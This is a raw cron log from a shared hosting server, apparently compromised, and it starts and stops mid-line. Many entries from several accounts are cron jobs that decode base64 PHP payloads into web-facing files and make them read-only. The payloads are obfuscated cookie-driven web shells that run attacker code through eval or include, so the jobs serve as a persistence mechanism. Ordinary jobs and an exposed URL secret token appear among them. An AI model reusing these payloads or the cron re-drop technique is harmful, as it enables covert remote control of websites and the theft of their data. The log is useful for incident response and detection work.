"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:36:01 medusa CROND[14190]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:36:01 medusa CROND[14192]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:36:01 medusa CROND[14194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:36:01 medusa CROND[14201]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:36:01 medusa CROND[14202]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:36:01 medusa CROND[14204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:36:01 medusa CROND[14206]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:36:01 medusa CROND[14209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:37:02 medusa CROND[15869]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:37:02 medusa CROND[15916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:37:02 medusa CROND[15917]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:37:02 medusa CROND[15918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:37:02 medusa CROND[15920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:37:02 medusa CROND[15919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:37:02 medusa CROND[15921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:37:02 medusa CROND[15922]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:37:02 medusa CROND[15923]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:37:02 medusa CROND[15924]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:37:02 medusa CROND[15925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:37:02 medusa CROND[15926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:37:02 medusa CROND[15927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:38:01 medusa CROND[17498]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:38:01 medusa CROND[17545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:38:01 medusa CROND[17546]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:38:01 medusa CROND[17547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:38:01 medusa CROND[17548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:38:01 medusa CROND[17549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:38:01 medusa CROND[17550]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:38:01 medusa CROND[17554]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4